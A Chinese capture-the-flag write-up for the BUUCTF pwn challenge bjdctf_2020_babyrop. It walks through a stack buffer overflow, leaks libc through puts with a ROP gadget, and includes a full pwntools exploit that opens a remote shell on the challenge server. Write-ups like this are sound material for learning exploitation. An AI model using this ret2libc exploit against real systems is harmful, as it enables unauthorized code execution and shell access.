zoukankan      html  css  js  c++  java
  • [BUUCTF]PWN——bjdctf_2020_babyrop

    bjdctf_2020_babyrop[64位libc泄露]

    题目附件

    解题步骤:
    例行检查,64位程序,开启了NX保护
    在这里插入图片描述
    试运行一下程序,看看大概的情况,看提示,应该是道泄露libc的题目
    在这里插入图片描述
    64位ida载入,shift+f12检索程序里的字符串,没有找到可以直接使用的system(’/bin/sh’)

    从main函数开始看程序
    在这里插入图片描述
    main函数调用了一个vuln函数
    在这里插入图片描述
    buf的大小是0x20,read读入的长度是0x64,明显的溢出漏洞

    根据已有的信息和得到的提示,是一道64位的libc泄露

    利用思路:

    1. 利用puts函数去泄露libc版本(一定是使用程序里已经调用过的函数才可以)
    2. 计算偏移量,算出程序里的system函数和字符串“/bin/sh”的地址
    3. 利用溢出漏洞,构造rop,获取shell

    利用过程:

    1. 泄露libc
      64位程序在传参的时候需要用到寄存器
      当参数少于7个时, 参数从左到右放入寄存器: rdi, rsi, rdx, rcx, r8, r9。
      当参数为7个以上时, 前 6 个与前面一样, 但后面的依次从 “右向左” 放入栈中,即和32位汇编一样。
      我们找一下设置rdi寄存器的指令
    ROPgadget --binary bjdctf_2020_babyrop |grep "pop rdi"
    

    在这里插入图片描述

    payload='a'*(0x20+8)+p64(pop_rdi)+p64(puts_got)+p64(puts_plt)+p64(main)
    r.recvuntil('Pull up your sword and tell me u story!')
    r.sendline(payload)
    r.recv()
    puts_addr=u64(r.recv(6).ljust(8,'x00'))
    libc=LibcSearcher('puts',puts_addr)
    
    1. 计算system和bin/sh的实际地址
    offset=puts_addr-libc.dump('puts')
    system=offset+libc.dump('system')
    bin_sh=offset+libc.dump('str_bin_sh')
    
    1. 构造rop,获取shell
    payload='a'*(0x20+8)+p64(pop_rdi)+p64(bin_sh)+p64(system)
    r.recvuntil('Pull up your sword and tell me u story!')
    r.sendline(payload)
    

    基本上的过程就是这样,在泄露libc的时候有关recv接收几个字节的具体的推荐内容,推荐加上context.log_level='debug'这句代码,自己调试,自己看看

    完整EXP

    from pwn import *
    from LibcSearcher import *
    
    r=remote('node3.buuoj.cn',28032)
    elf=ELF('./bjdctf_2020_babyrop')
    context.log_level='debug'
    
    main=elf.sym['main']
    puts_plt=elf.plt['puts']
    puts_got=elf.got['puts']
    pop_rdi=0x400733
    
    payload='a'*(0x20+8)+p64(pop_rdi)+p64(puts_got)+p64(puts_plt)+p64(main)
    r.recvuntil('Pull up your sword and tell me u story!')
    r.sendline(payload)
    r.recv()
    puts_addr=u64(r.recv(6).ljust(8,'x00'))
    
    libc=LibcSearcher('puts',puts_addr)
    
    offset=puts_addr-libc.dump('puts')
    system=offset+libc.dump('system')
    bin_sh=offset+libc.dump('str_bin_sh')
    
    payload='a'*(0x20+8)+p64(pop_rdi)+p64(bin_sh)+p64(system)
    r.recvuntil('Pull up your sword and tell me u story!')
    r.sendline(payload)
    
    r.interactive()
    

    匹配到多个libc,选第一个
    在这里插入图片描述

  • 相关阅读:
    特殊json处理
    css3
    居中定位
    微信支付
    vue 封装cookie,请求,登录拦截,接口拦截
    vue中axios的封装(简易版拦截,get,post
    JS的Event Loop
    JS模块化
    JS的排序算法
    时间复杂度 空间复杂度
  • 原文地址:https://www.cnblogs.com/xlrp/p/14273704.html
Copyright © 2011-2022 走看看